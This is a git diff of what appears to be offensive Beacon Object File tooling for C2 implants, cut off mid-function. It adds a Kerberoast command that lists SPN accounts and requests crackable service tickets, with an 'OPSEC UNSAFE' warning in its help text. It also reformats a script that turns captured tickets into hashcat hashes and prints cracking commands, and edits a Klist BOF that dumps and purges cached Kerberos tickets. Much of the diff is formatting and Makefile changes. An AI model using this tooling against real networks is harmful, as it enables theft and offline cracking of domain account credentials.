- BeaconPrintToStreamW(L"[+] Salt\t\t\t\t: %wZ\n", uSalt); + BeaconPrintToStreamW(L"[+] Salt\t\t\t\t: %wZ\n", &uSalt); uPasswordWithSalt.Buffer = NULL; uPasswordWithSalt.MaximumLength = uPassword.Length + uSalt.Length + sizeof(WCHAR); diff --git a/BOF/KerbHash/SOURCE/Makefile b/BOF/KerbHash/SOURCE/Makefile index e76bac6..6bc9e4a 100644 --- a/BOF/KerbHash/SOURCE/Makefile +++ b/BOF/KerbHash/SOURCE/Makefile @@ -1,10 +1,19 @@ -BOF := KerbHash +SRC = $(wildcard *.c) +OBJS = $(patsubst %.c, %.o, $(SRC)) +CC_x86 := i686-w64-mingw32-gcc CC_x64 := x86_64-w64-mingw32-gcc +STRIP_x86 := i686-w64-mingw32-strip STRIP_x64 := x86_64-w64-mingw32-strip +CFLAGS := -masm=intel -all: - $(CC_x64) -o ../$(BOF).o -c $(BOF).c - $(STRIP_x64) --strip-unneeded ../$(BOF).o +all: $(OBJS) + +%.o: %.c + $(CC_x64) $(CFLAGS) -o ../$*.x64.o -c $< + $(STRIP_x64) --strip-unneeded ../$*.x64.o + + $(CC_x86) $(CFLAGS) -o ../$*.x86.o -DWOW64 -fno-leading-underscore -c $< + $(STRIP_x86) --strip-unneeded ../$*.x86.o clean: - rm ../$(BOF).o + rm ../*.o diff --git a/BOF/Kerberoast/Kerberoast_bof.s1.py b/BOF/Kerberoast/Kerberoast_bof.s1.py new file mode 100644 index 0000000..2a4b8a9 --- /dev/null +++ b/BOF/Kerberoast/Kerberoast_bof.s1.py @@ -0,0 +1,50 @@ +from typing import List, Tuple + +from outflank_stage1.task.base_bof_task import BaseBOFTask +from outflank_stage1.task.enums import BOFArgumentEncoding + + +class KerberoastBOF(BaseBOFTask): + def __init__(self): + super().__init__("Kerberoast") + + _action_choices = ["list", "list-no-aes", "roast", "roast-no-aes"] + + self.parser.description = ( + "Perform Kerberoasting against all (or specified) SPN enabled accounts." + ) + + self.parser.epilog = ( + "List all SPN enabled user/service accounts or request service tickets (TGS-REP) which can be cracked " + "offline using HashCat.\n\n" + "WARNING: Listing and roasting tickets without sAMAccountName filter is OPSEC UNSAFE!\n\n" + "Example usage:\n" + " - Kerberoast list\n" + " - Kerberoast list DA*\n" + ) + + self.parser.add_argument( + "action", + choices=_action_choices, + help=f"Actions ({', '.join(_action_choices)}).", + metavar="action", + ) + + self.parser.add_argument( + "filter", + help="sAMAccountName filter.", + nargs="?", + ) + + def _encode_arguments_bof( + self, arguments: List[str] + ) -> List[Tuple[BOFArgumentEncoding, str]]: + parser_arguments = self.parser.parse_args(arguments) + + if parser_arguments.filter is not None: + return [ + (BOFArgumentEncoding.WSTR, parser_arguments.action), + (BOFArgumentEncoding.WSTR, parser_arguments.filter), + ] + + return [(BOFArgumentEncoding.WSTR, parser_arguments.action)] diff --git a/BOF/Kerberoast/SOURCE/Makefile b/BOF/Kerberoast/SOURCE/Makefile index 70c3620..6bc9e4a 100644 --- a/BOF/Kerberoast/SOURCE/Makefile +++ b/BOF/Kerberoast/SOURCE/Makefile @@ -1,15 +1,19 @@ -BOF := Kerberoast +SRC = $(wildcard *.c) +OBJS = $(patsubst %.c, %.o, $(SRC)) CC_x86 := i686-w64-mingw32-gcc CC_x64 := x86_64-w64-mingw32-gcc STRIP_x86 := i686-w64-mingw32-strip STRIP_x64 := x86_64-w64-mingw32-strip +CFLAGS := -masm=intel -all: - $(CC_x64) -o ../$(BOF).x64.o -c $(BOF).c - $(STRIP_x64) --strip-unneeded ../$(BOF).x64.o - - $(CC_x86) -o ../$(BOF).x86.o -c $(BOF).c - $(STRIP_x86) --strip-unneeded ../$(BOF).x86.o +all: $(OBJS) + +%.o: %.c + $(CC_x64) $(CFLAGS) -o ../$*.x64.o -c $< + $(STRIP_x64) --strip-unneeded ../$*.x64.o + + $(CC_x86) $(CFLAGS) -o ../$*.x86.o -DWOW64 -fno-leading-underscore -c $< + $(STRIP_x86) --strip-unneeded ../$*.x86.o clean: - rm ../$(BOF).*.o + rm ../*.o diff --git a/BOF/Kerberoast/TicketToHashcat.py b/BOF/Kerberoast/TicketToHashcat.py index 760aafb..e4b6cf9 100644 --- a/BOF/Kerberoast/TicketToHashcat.py +++ b/BOF/Kerberoast/TicketToHashcat.py @@ -6,7 +6,7 @@ from impacket.krb5 import constants from impacket.krb5.asn1 import * -if __name__ == '__main__': +if __name__ == "__main__": if len(sys.argv) < 2: sys.stderr.write("Usage: %s \n" % (sys.argv[0])) sys.exit(-1) @@ -14,12 +14,12 @@ for filename in glob.glob("roastme*"): os.remove(filename) - with open(sys.argv[1], 'rb') as fd: + with open(sys.argv[1], "rb") as fd: fd = fd.read() - tickets = re.findall(r'\s+([^<]+)', fd.decode('utf-8')) + tickets = re.findall(r"\s+([^<]+)", fd.decode("utf-8")) for ticket in tickets: # Extract sAMAccountName and AP_REQ data - extract = re.search(r'sAMAccountName = ([^\s]+)([^<]+)', ticket) + extract = re.search(r"sAMAccountName = ([^\s]+)([^<]+)", ticket) if extract: sAMAccountName = extract.group(1).strip() # Base64 decode. @@ -29,42 +29,66 @@ sys.exit(-1) # Find AP_REQ offset - i = 0 - while(dec[i] != 0x6e): + i = 0 + while dec[i] != 0x6E: i += 1 # Parse AP_REQ ticket ap_req = decoder.decode(dec[i:], asn1Spec=AP_REQ())[0] - tgs_realm = ap_req['ticket']['realm']._value.capitalize() - tgs_name_string_svc = ap_req['ticket']['sname']['name-string'][0]._value - tgs_name_string_host = ap_req['ticket']['sname']['name-string'][1]._value - tgs_encryption_type = ap_req['ticket']['enc-part']['etype']._value + tgs_realm = ap_req["ticket"]["realm"]._value.capitalize() + tgs_name_string_svc = ap_req["ticket"]["sname"]["name-string"][0]._value + tgs_name_string_host = ap_req["ticket"]["sname"]["name-string"][1]._value + tgs_encryption_type = ap_req["ticket"]["enc-part"]["etype"]._value - if tgs_encryption_type == constants.EncryptionTypes.rc4_hmac.value: # etype 23 (RC4) - tgs_checksum = ap_req['ticket']['enc-part']['cipher']._value[:16].hex().upper() - tgs_encrypted_data2 = ap_req['ticket']['enc-part']['cipher']._value[16:].hex().upper() + if (tgs_encryption_type == constants.EncryptionTypes.rc4_hmac.value): # etype 23 (RC4) + tgs_checksum = (ap_req["ticket"]["enc-part"]["cipher"]._value[:16].hex().upper()) + tgs_encrypted_data2 = (ap_req["ticket"]["enc-part"]["cipher"]._value[16:].hex().upper()) - hashcat = '$krb5tgs$%d$*%s$%s$%s/%s*$%s$%s\n' % (tgs_encryption_type, sAMAccountName, tgs_realm, tgs_name_string_svc, tgs_name_string_host, tgs_checksum, tgs_encrypted_data2) - with open('roastme-13100.txt', 'a+') as hfile: - hfile.write(hashcat) - elif tgs_encryption_type == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value: # etype 17 (aes128) - tgs_checksum = ap_req['ticket']['enc-part']['cipher']._value[-12:].hex().upper() - tgs_encrypted_data2 = ap_req['ticket']['enc-part']['cipher']._value[:-12].hex().upper() + hashcat = "$krb5tgs$%d$*%s$%s$%s/%s*$%s$%s\n" % ( + tgs_encryption_type, + sAMAccountName, + tgs_realm, + tgs_name_string_svc, + tgs_name_string_host, + tgs_checksum, + tgs_encrypted_data2, + ) + with open("roastme-13100.txt", "a+") as hfile: + hfile.write(hashcat) + elif (tgs_encryption_type == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value): # etype 17 (aes128) + tgs_checksum = (ap_req["ticket"]["enc-part"]["cipher"]._value[-12:].hex().upper()) + tgs_encrypted_data2 = (ap_req["ticket"]["enc-part"]["cipher"]._value[:-12].hex().upper()) - hashcat = '$krb5tgs$%d$%s$%s$*%s/%s*$%s$%s\n' % (tgs_encryption_type, sAMAccountName, tgs_realm, tgs_name_string_svc, tgs_name_string_host, tgs_checksum, tgs_encrypted_data2) - with open('roastme-19600.txt', 'a+') as hfile: + hashcat = "$krb5tgs$%d$%s$%s$*%s/%s*$%s$%s\n" % ( + tgs_encryption_type, + sAMAccountName, + tgs_realm, + tgs_name_string_svc, + tgs_name_string_host, + tgs_checksum, + tgs_encrypted_data2, + ) + with open("roastme-19600.txt", "a+") as hfile: hfile.write(hashcat) - elif tgs_encryption_type == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value: # etype 18 (aes256) - tgs_checksum = ap_req['ticket']['enc-part']['cipher']._value[-12:].hex().upper() - tgs_encrypted_data2 = ap_req['ticket']['enc-part']['cipher']._value[:-12].hex().upper() + elif (tgs_encryption_type == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value): # etype 18 (aes256) + tgs_checksum = (ap_req["ticket"]["enc-part"]["cipher"]._value[-12:].hex().upper()) + tgs_encrypted_data2 = (ap_req["ticket"]["enc-part"]["cipher"]._value[:-12].hex().upper()) - hashcat = '$krb5tgs$%d$%s$%s$*%s/%s*$%s$%s\n' % (tgs_encryption_type, sAMAccountName, tgs_realm, tgs_name_string_svc, tgs_name_string_host, tgs_checksum, tgs_encrypted_data2) - with open('roastme-19700.txt', 'a+') as hfile: + hashcat = "$krb5tgs$%d$%s$%s$*%s/%s*$%s$%s\n" % ( + tgs_encryption_type, + sAMAccountName, + tgs_realm, + tgs_name_string_svc, + tgs_name_string_host, + tgs_checksum, + tgs_encrypted_data2, + ) + with open("roastme-19700.txt", "a+") as hfile: hfile.write(hashcat) else: - print('Incompatible e-type\n') + print("Incompatible e-type\n") sys.exit(-1) print(hashcat) - print('HashCat input file saved as \'roastme-<#hash-type>.txt\'\nTo crack use: \'hashcat -m 13100\' for etype 23 (RC4), \'hashcat -m 19600\' for etype 17 (AES128) or \'hashcat -m 19700\' for etype 18 (AES256).\n') + print("HashCat input file saved as 'roastme-<#hash-type>.txt'\nTo crack use: 'hashcat -m 13100' for etype 23 (RC4), 'hashcat -m 19600' for etype 17 (AES128) or 'hashcat -m 19700' for etype 18 (AES256).\n") diff --git a/BOF/Klist/Klist.cna b/BOF/Klist/Klist.cna index 1acb35c..1dc3883 100644 --- a/BOF/Klist/Klist.cna +++ b/BOF/Klist/Klist.cna @@ -13,7 +13,7 @@ alias klist { $purge = @args[0]; # Read in the right BOF file - $handle = openf(script_resource("Klist.o")); + $handle = openf(script_resource("Klist." . barch($bid) . ".o")); $data = readb($handle, -1); closef($handle); diff --git a/BOF/Klist/Klist_bof.s1.py b/BOF/Klist/Klist_bof.s1.py new file mode 100644 index 0000000..6dc60cc --- /dev/null +++ b/BOF/Klist/Klist_bof.s1.py @@ -0,0 +1,30 @@ +from typing import List, Tuple + +from outflank_stage1.task.base_bof_task import BaseBOFTask +from outflank_stage1.task.enums import BOFArgumentEncoding + + +class KlistBOF(BaseBOFTask): + def __init__(self): + super().__init__("klist", base_binary_name="Klist") + + self.parser.description = ( + "Displays a list of currently cached Kerberos tickets." + ) + + self.parser.add_argument( + "action", + choices=["purge"], + nargs="?", + help="Optional purge.", + ) + + def _encode_arguments_bof( + self, arguments: List[str] + ) -> List[Tuple[BOFArgumentEncoding, str]]: + parser_arguments = self.parser.parse_args(arguments) + + if parser_arguments.action == "purge": + return [(BOFArgumentEncoding.WSTR, "purge")] + + return [] diff --git a/BOF/Klist/SOURCE/Klist.c b/BOF/Klist/SOURCE/Klist.c index a1ea7d7..583e0c1 100755 --- a/BOF/Klist/SOURCE/Klist.c +++ b/BOF/Klist/SOURCE/Klist.c @@ -31,7 +31,7 @@ HRESULT BeaconPrintToStreamW(_In_z_ LPCWSTR lpwFormat, ...) { } va_start(argList, lpwFormat); - MSVCRT$memset(chBuffer, 0, sizeof(chBuffer)); + MSVCRT$memset(chBuffer, 0, sizeof(chBuffer)); if (!MSVCRT$_vsnwprintf_s(chBuffer, _countof(chBuffer), _TRUNCATE, lpwFormat, argList)) { hr = E_FAIL; goto CleanUp; @@ -88,328 +88,327 @@ VOID BeaconOutputStreamW() { } VOID ShowLastError(LPCWSTR szAPI, DWORD dwError) { - WCHAR szMsgBuf[MAX_MSG_SIZE]; - DWORD dwRes; + WCHAR szMsgBuf[MAX_MSG_SIZE]; + DWORD dwRes; - BeaconPrintf(CALLBACK_ERROR, "Error calling function %ls: %lu\n", szAPI, dwError); + BeaconPrintf(CALLBACK_ERROR, "Error calling function %ls: %lu\n", szAPI, dwError); MSVCRT$memset(&szMsgBuf, 0, MAX_MSG_SIZE); - dwRes = KERNEL32$FormatMessageW( - FORMAT_MESSAGE_FROM_SYSTEM, - NULL, - dwError, - MAKELANGID(LANG_ENGLISH, SUBLANG_ENGLISH_US), - szMsgBuf, - MAX_MSG_SIZE, - NULL); - if (0 == dwRes) { - BeaconPrintf(CALLBACK_ERROR, "FormatMessage failed with %d\n", KERNEL32$GetLastError()); - return; - } - - BeaconPrintf(CALLBACK_ERROR, "%ls", szMsgBuf); + dwRes = KERNEL32$FormatMessageW( + FORMAT_MESSAGE_FROM_SYSTEM, + NULL, + dwError, + MAKELANGID(LANG_ENGLISH, SUBLANG_ENGLISH_US), + szMsgBuf, + MAX_MSG_SIZE, + NULL); + if (0 == dwRes) { + BeaconPrintf(CALLBACK_ERROR, "FormatMessage failed with %d\n", KERNEL32$GetLastError()); + return; + } + + BeaconPrintf(CALLBACK_ERROR, "%ls", szMsgBuf); } VOID ShowNTError(LPCWSTR szAPI, NTSTATUS Status) { - ShowLastError(szAPI, ADVAPI32$LsaNtStatusToWinError(Status)); + ShowLastError(szAPI, ADVAPI32$LsaNtStatusToWinError(Status)); } VOID PrintTime(LPCWSTR Comment, TimeStamp ConvertTime) { - BeaconPrintToStreamW(L"%ls", Comment); - - if (ConvertTime.HighPart == 0x7FFFFFFF && ConvertTime.LowPart == 0xFFFFFFFF) { - BeaconPrintToStreamW(L"Infinite\n"); - } - else { - SYSTEMTIME SystemTime; - FILETIME LocalFileTime; - - if (KERNEL32$FileTimeToLocalFileTime((PFILETIME)&ConvertTime, &LocalFileTime) && KERNEL32$FileTimeToSystemTime(&LocalFileTime, &SystemTime)) { - BeaconPrintToStreamW(L"%ld/%ld/%ld %ld:%2.2ld:%2.2ld\n", - SystemTime.wMonth, - SystemTime.wDay, - SystemTime.wYear, - SystemTime.wHour, - SystemTime.wMinute, - SystemTime.wSecond); - } - else { - BeaconPrintToStreamW(L"%ld\n", (long)(ConvertTime.QuadPart / (10 * 1000 * 1000))); - } - } + BeaconPrintToStreamW(L"%ls", Comment); + + if (ConvertTime.HighPart == 0x7FFFFFFF && ConvertTime.LowPart == 0xFFFFFFFF) { + BeaconPrintToStreamW(L"Infinite\n"); + } + else { + SYSTEMTIME SystemTime; + FILETIME LocalFileTime; + + if (KERNEL32$FileTimeToLocalFileTime((PFILETIME)&ConvertTime, &LocalFileTime) && KERNEL32$FileTimeToSystemTime(&LocalFileTime, &SystemTime)) { + BeaconPrintToStreamW(L"%ld/%ld/%ld %ld:%2.2ld:%2.2ld\n", + SystemTime.wMonth, + SystemTime.wDay, + SystemTime.wYear, + SystemTime.wHour, + SystemTime.wMinute, + SystemTime.wSecond); + } + else { +#ifdef _WIN64 + BeaconPrintToStreamW(L"%ld\n", (long)(ConvertTime.QuadPart / (10 * 1000 * 1000))); +#else + // long long division in gcc results in _divdi3 function. So we need a long division + BeaconPrintToStreamW(L"%ld\n", (long)((long)(ConvertTime.QuadPart >> 7) / 78125)); // (10 * 1000 * 1000) == 2^7 x 5^7 +#endif + } + } } VOID PrintEType(int etype, BOOL bSession) { -#define AddEtype(n) { n, TEXT(#n) } - - struct _etype { - int etype; - LPCWSTR ename; - } enames[] = { - AddEtype(KERB_ETYPE_NULL), - AddEtype(KERB_ETYPE_DES_CBC_CRC), - AddEtype(KERB_ETYPE_DES_CBC_MD4), - AddEtype(KERB_ETYPE_DES_CBC_MD5), - AddEtype(KERB_ETYPE_AES128_CTS_HMAC_SHA1_96), - AddEtype(KERB_ETYPE_AES256_CTS_HMAC_SHA1_96), - AddEtype(KERB_ETYPE_DES_PLAIN), - AddEtype(KERB_ETYPE_RC4_MD4), - AddEtype(KERB_ETYPE_RC4_PLAIN2), - AddEtype(KERB_ETYPE_RC4_LM), - AddEtype(KERB_ETYPE_RC4_SHA), - AddEtype(KERB_ETYPE_DES_PLAIN), - AddEtype(KERB_ETYPE_RC4_HMAC_OLD), - AddEtype(KERB_ETYPE_RC4_PLAIN_OLD), - AddEtype(KERB_ETYPE_RC4_HMAC_OLD_EXP), - AddEtype(KERB_ETYPE_RC4_PLAIN_OLD_EXP), - AddEtype(KERB_ETYPE_RC4_PLAIN), - AddEtype(KERB_ETYPE_RC4_PLAIN_EXP), - AddEtype(KERB_ETYPE_DSA_SIGN), - AddEtype(KERB_ETYPE_RSA_PRIV), - AddEtype(KERB_ETYPE_RSA_PUB), - AddEtype(KERB_ETYPE_RSA_PUB_MD5), - AddEtype(KERB_ETYPE_RSA_PUB_SHA1), - AddEtype(KERB_ETYPE_PKCS7_PUB), - AddEtype(KERB_ETYPE_DES_CBC_MD5_NT), - AddEtype(KERB_ETYPE_RC4_HMAC_NT), - AddEtype(KERB_ETYPE_RC4_HMAC_NT_EXP), - {-1, 0} - }; - - int i; - for (i = 0; enames[i].ename != 0; i++) { - if (etype == enames[i].etype) { - LPWSTR lpwEtype = (LPWSTR)enames[i].ename + 11; - if (!bSession) { - BeaconPrintToStreamW(L"\tKerbTicket Encryption Type: (%d) %ls\n", etype, lpwEtype); - } - else { - BeaconPrintToStreamW(L"\tSession Key Type: (%d) %ls\n", etype, lpwEtype); - } - return; - } - } - - if (!bSession) { - BeaconPrintToStreamW(L"KerbTicket Encryption Type: %d\n", etype); - } - else { - BeaconPrintToStreamW(L"Session Key Type: %d\n", etype); - } + ETYPE etypes[] = { + (ETYPE)AddEtype(KERB_ETYPE_NULL), + (ETYPE)AddEtype(KERB_ETYPE_DES_CBC_CRC), + (ETYPE)AddEtype(KERB_ETYPE_DES_CBC_MD4), + (ETYPE)AddEtype(KERB_ETYPE_DES_CBC_MD5), + (ETYPE)AddEtype(KERB_ETYPE_AES128_CTS_HMAC_SHA1_96), + (ETYPE)AddEtype(KERB_ETYPE_AES256_CTS_HMAC_SHA1_96), + (ETYPE)AddEtype(KERB_ETYPE_DES_PLAIN), + (ETYPE)AddEtype(KERB_ETYPE_RC4_MD4), + (ETYPE)AddEtype(KERB_ETYPE_RC4_PLAIN2), + (ETYPE)AddEtype(KERB_ETYPE_RC4_LM), + (ETYPE)AddEtype(KERB_ETYPE_RC4_SHA), + (ETYPE)AddEtype(KERB_ETYPE_DES_PLAIN), + (ETYPE)AddEtype(KERB_ETYPE_RC4_HMAC_OLD), + (ETYPE)AddEtype(KERB_ETYPE_RC4_PLAIN_OLD), + (ETYPE)AddEtype(KERB_ETYPE_RC4_HMAC_OLD_EXP), + (ETYPE)AddEtype(KERB_ETYPE_RC4_PLAIN_OLD_EXP), + (ETYPE)AddEtype(KERB_ETYPE_RC4_PLAIN), + (ETYPE)AddEtype(KERB_ETYPE_RC4_PLAIN_EXP), + (ETYPE)AddEtype(KERB_ETYPE_DSA_SIGN), + (ETYPE)AddEtype(KERB_ETYPE_RSA_PRIV), + (ETYPE)AddEtype(KERB_ETYPE_RSA_PUB), + (ETYPE)AddEtype(KERB_ETYPE_RSA_PUB_MD5), + (ETYPE)AddEtype(KERB_ETYPE_RSA_PUB_SHA1), + (ETYPE)AddEtype(KERB_ETYPE_PKCS7_PUB), + (ETYPE)AddEtype(KERB_ETYPE_DES_CBC_MD5_NT), + (ETYPE)AddEtype(KERB_ETYPE_RC4_HMAC_NT), + (ETYPE)AddEtype(KERB_ETYPE_RC4_HMAC_NT_EXP), + (ETYPE){-1, NULL} + }; + + for (DWORD i = 0; etypes[i].ename != NULL; i++) { + if (etype == etypes[i].etype) { + LPWSTR lpwEtype = (LPWSTR)etypes[i].ename + 11; + if (!bSession) { + BeaconPrintToStreamW(L"\tKerbTicket Encryption Type: (%d) %ls\n", etype, lpwEtype); + } + else { + BeaconPrintToStreamW(L"\tSession Key Type: (%d) %ls\n", etype, lpwEtype); + } + return; + } + } + + if (!bSession) { + BeaconPrintToStreamW(L"\tKerbTicket Encryption Type: %d\n", etype); + } + else { + BeaconPrintToStreamW(L"\tSession Key Type: %d\n", etype); + } } VOID PrintCacheFlags(ULONG flags) { - BeaconPrintToStreamW(L"\tCache Flags: "); - - if (flags & 1) { - BeaconPrintToStreamW(L"0x%x -> PRIMARY\n", flags); - } - else if (flags & 2) { - BeaconPrintToStreamW(L"0x%x -> DELEGATION\n", flags); - } - else if (flags & 4) { - BeaconPrintToStreamW(L"0x%x -> S4U\n", flags); - } - else if (flags & 8) { - BeaconPrintToStreamW(L"0x%x -> ASC\n", flags); - } - else if (flags & 0x10) { - BeaconPrintToStreamW(L"0x%x -> ENC-IN-SKEY\n", flags); - } - else if (flags & 0x20) { - BeaconPrintToStreamW(L"0x%x -> X509\n", flags); - } - else if (flags & 0x40) { - BeaconPrintToStreamW(L"0x%x -> FAST\n", flags); - } - else { - BeaconPrintToStreamW(L"%#x\n", flags); - } + BeaconPrintToStreamW(L"\tCache Flags: "); + + if (flags & 1) { + BeaconPrintToStreamW(L"0x%x -> PRIMARY\n", flags); + } + else if (flags & 2) { + BeaconPrintToStreamW(L"0x%x -> DELEGATION\n", flags); + } + else if (flags & 4) { + BeaconPrintToStreamW(L"0x%x -> S4U\n", flags); + } + else if (flags & 8) { + BeaconPrintToStreamW(L"0x%x -> ASC\n", flags); + } + else if (flags & 0x10) { + BeaconPrintToStreamW(L"0x%x -> ENC-IN-SKEY\n", flags); + } + else if (flags & 0x20) { + BeaconPrintToStreamW(L"0x%x -> X509\n", flags); + } + else if (flags & 0x40) { + BeaconPrintToStreamW(L"0x%x -> FAST\n", flags); + } + else { + BeaconPrintToStreamW(L"%#x\n", flags); + } } VOID PrintTktFlags(ULONG flags) { - if (flags & KERB_TICKET_FLAGS_reserved) { - BeaconPrintToStreamW(L"reserved "); - } - if (flags & KERB_TICKET_FLAGS_forwardable) { - BeaconPrintToStreamW(L"forwardable "); - } - if (flags & KERB_TICKET_FLAGS_forwarded) { - BeaconPrintToStreamW(L"forwarded "); - } - if (flags & KERB_TICKET_FLAGS_proxiable) { - BeaconPrintToStreamW(L"proxiable "); - } - if (flags & KERB_TICKET_FLAGS_proxy) { - BeaconPrintToStreamW(L"proxy "); - } - if (flags & KERB_TICKET_FLAGS_may_postdate) { - BeaconPrintToStreamW(L"may_postdate "); - } - if (flags & KERB_TICKET_FLAGS_postdated) { - BeaconPrintToStreamW(L"postdated "); - } - if (flags & KERB_TICKET_FLAGS_invalid) { - BeaconPrintToStreamW(L"invalid "); - } - if (flags & KERB_TICKET_FLAGS_renewable) { - BeaconPrintToStreamW(L"renewable "); - } - if (flags & KERB_TICKET_FLAGS_initial) { - BeaconPrintToStreamW(L"initial "); - } - if (flags & KERB_TICKET_FLAGS_pre_authent) { - BeaconPrintToStreamW(L"pre_authent "); - } - if (flags & KERB_TICKET_FLAGS_hw_authent) { - BeaconPrintToStreamW(L"hw_authent "); - } - if (flags & KERB_TICKET_FLAGS_ok_as_delegate) { - BeaconPrintToStreamW(L"ok_as_delegate "); - } - if (flags & KERB_TICKET_FLAGS_name_canonicalize) { - BeaconPrintToStreamW(L"name_canonicalize "); - } - BeaconPrintToStreamW(L"\n"); + if (flags & KERB_TICKET_FLAGS_reserved) { + BeaconPrintToStreamW(L"reserved "); + } + if (flags & KERB_TICKET_FLAGS_forwardable) { + BeaconPrintToStreamW(L"forwardable "); + } + if (flags & KERB_TICKET_FLAGS_forwarded) { + BeaconPrintToStreamW(L"forwarded "); + } + if (flags & KERB_TICKET_FLAGS_proxiable) { + BeaconPrintToStreamW(L"proxiable "); + } + if (flags & KERB_TICKET_FLAGS_proxy) { + BeaconPrintToStreamW(L"proxy "); + } + if (flags & KERB_TICKET_FLAGS_may_postdate) { + BeaconPrintToStreamW(L"may_postdate "); + } + if (flags & KERB_TICKET_FLAGS_postdated) { + BeaconPrintToStreamW(L"postdated "); + } + if (flags & KERB_TICKET_FLAGS_invalid) { + BeaconPrintToStreamW(L"invalid "); + } + if (flags & KERB_TICKET_FLAGS_renewable) { + BeaconPrintToStreamW(L"renewable "); + } + if (flags & KERB_TICKET_FLAGS_initial) { + BeaconPrintToStreamW(L"initial "); + } + if (flags & KERB_TICKET_FLAGS_pre_authent) { + BeaconPrintToStreamW(L"pre_authent "); + } + if (flags & KERB_TICKET_FLAGS_hw_authent) { + BeaconPrintToStreamW(L"hw_authent "); + } + if (flags & KERB_TICKET_FLAGS_ok_as_delegate) { + BeaconPrintToStreamW(L"ok_as_delegate "); + } + if (flags & KERB_TICKET_FLAGS_name_canonicalize) { + BeaconPrintToStreamW(L"name_canonicalize "); + } + BeaconPrintToStreamW(L"\n"); } BOOL PurgeTickets(HANDLE LogonHandle, ULONG PackageId) { - NTSTATUS Status, SubStatus; - PVOID Response; - ULONG ResponseSize; - - KERB_PURGE_TKT_CACHE_REQUEST kerbPurgeRequest = { KerbPurgeTicketCacheMessage, {0, 0}, {0, 0, NULL}, {0, 0, NULL} }; - Status = SECUR32$LsaCallAuthenticationPackage( - LogonHandle, - PackageId, - &kerbPurgeRequest, - sizeof(KERB_PURGE_TKT_CACHE_REQUEST), - &Response, - &ResponseSize, - &SubStatus - ); - - if (!SEC_SUCCESS(Status) || !SEC_SUCCESS(SubStatus)) { - ShowNTError(L"LsaCallAuthenticationPackage", Status); - BeaconPrintf(CALLBACK_ERROR, "Substatus: 0x%x\n", SubStatus); - return FALSE; - } - - return TRUE; + NTSTATUS Status, SubStatus; + PVOID Response; + ULONG ResponseSize; + + KERB_PURGE_TKT_CACHE_REQUEST kerbPurgeRequest = { KerbPurgeTicketCacheMessage, {0, 0}, {0, 0, NULL}, {0, 0, NULL} }; + Status = SECUR32$LsaCallAuthenticationPackage( + LogonHandle, + PackageId, + &kerbPurgeRequest, + sizeof(KERB_PURGE_TKT_CACHE_REQUEST), + &Response, + &ResponseSize, + &SubStatus + ); + + if (!SEC_SUCCESS(Status) || !SEC_SUCCESS(SubStatus)) { + ShowNTError(L"LsaCallAuthenticationPackage", Status); + BeaconPrintf(CALLBACK_ERROR, "Substatus: 0x%x\n", SubStatus); + return FALSE; + } + + return TRUE; } BOOL ShowTickets(HANDLE LogonHandle, ULONG PackageId, BOOL bPurge) { - NTSTATUS Status; - KERB_QUERY_TKT_CACHE_REQUEST CacheRequest; - //PKERB_QUERY_TKT_CACHE_EX2_RESPONSE CacheResponse = NULL; - PKERB_QUERY_TKT_CACHE_EX3_RESPONSE_BOF CacheResponse = NULL; - ULONG ResponseSize; - NTSTATUS SubStatus; - ULONG Index; - - CacheRequest.MessageType = KerbQueryTicketCacheEx3MessageBof; - //CacheRequest.MessageType = KerbQueryTicketCacheEx2Message; - CacheRequest.LogonId.LowPart = 0; - CacheRequest.LogonId.HighPart = 0; - - HINSTANCE hModule = LoadLibraryA("Secur32.dll"); + NTSTATUS Status; + KERB_QUERY_TKT_CACHE_REQUEST CacheRequest; + //PKERB_QUERY_TKT_CACHE_EX2_RESPONSE CacheResponse = NULL; + PKERB_QUERY_TKT_CACHE_EX3_RESPONSE_BOF CacheResponse = NULL; + ULONG ResponseSize; + NTSTATUS SubStatus; + ULONG Index; + + CacheRequest.MessageType = KerbQueryTicketCacheEx3MessageBof; + //CacheRequest.MessageType = KerbQueryTicketCacheEx2Message; + CacheRequest.LogonId.LowPart = 0; + CacheRequest.LogonId.HighPart = 0; + + HINSTANCE hModule = LoadLibraryA("Secur32.dll"); if (hModule == NULL) { return FALSE; } - Status = SECUR32$LsaCallAuthenticationPackage( - LogonHandle, - PackageId, - &CacheRequest, - sizeof(CacheRequest), - (PVOID*)&CacheResponse, - &ResponseSize, - &SubStatus - ); - if (!SEC_SUCCESS(Status) || !SEC_SUCCESS(SubStatus)) { - ShowNTError(L"LsaCallAuthenticationPackage", Status); - BeaconPrintf(CALLBACK_ERROR, "Substatus: 0x%x\n", SubStatus); - return FALSE; - } - - BeaconPrintToStreamW(L"\nCached Tickets: (%lu)\n\n", CacheResponse->CountOfTickets); - for (Index = 0; Index < CacheResponse->CountOfTickets; Index++) { - BeaconPrintToStreamW(L"#%d>\tClient: %wZ @ %wZ\n", Index, &CacheResponse->Tickets[Index].ClientName, &CacheResponse->Tickets[Index].ClientRealm); - BeaconPrintToStreamW(L"\tServer: %wZ @ %wZ\n", &CacheResponse->Tickets[Index].ServerName, &CacheResponse->Tickets[Index].ServerRealm); - PrintEType(CacheResponse->Tickets[Index].EncryptionType, FALSE); - BeaconPrintToStreamW(L"\tTicket Flags: 0x%x -> ", CacheResponse->Tickets[Index].TicketFlags); - PrintTktFlags(CacheResponse->Tickets[Index].TicketFlags); - PrintTime(L"\tStart Time: ", CacheResponse->Tickets[Index].StartTime); - PrintTime(L"\tEnd Time: ", CacheResponse->Tickets[Index].EndTime); - PrintTime(L"\tRenew Time: ", CacheResponse->Tickets[Index].RenewTime); - PrintEType(CacheResponse->Tickets[Index].SessionKeyType, TRUE); - PrintCacheFlags(CacheResponse->Tickets[Index].CacheFlags); - BeaconPrintToStreamW(L"\tKdc Called: %wZ\n", CacheResponse->Tickets[Index].KdcCalled); - BeaconPrintToStreamW(L"\r\n"); - } - - if (bPurge) { - if (CacheResponse->CountOfTickets > 0) { - if (PurgeTickets(LogonHandle, PackageId)) { - BeaconPrintToStreamW(L"Ticket(s) purged!\n"); - } - } - } - - if (CacheResponse != NULL) { - SECUR32$LsaFreeReturnBuffer(CacheResponse); - } - - //Print final Output + Status = SECUR32$LsaCallAuthenticationPackage( + LogonHandle, + PackageId, + &CacheRequest, + sizeof(CacheRequest), + (PVOID*)&CacheResponse, + &ResponseSize, + &SubStatus + ); + if (!SEC_SUCCESS(Status) || !SEC_SUCCESS(SubStatus)) { + 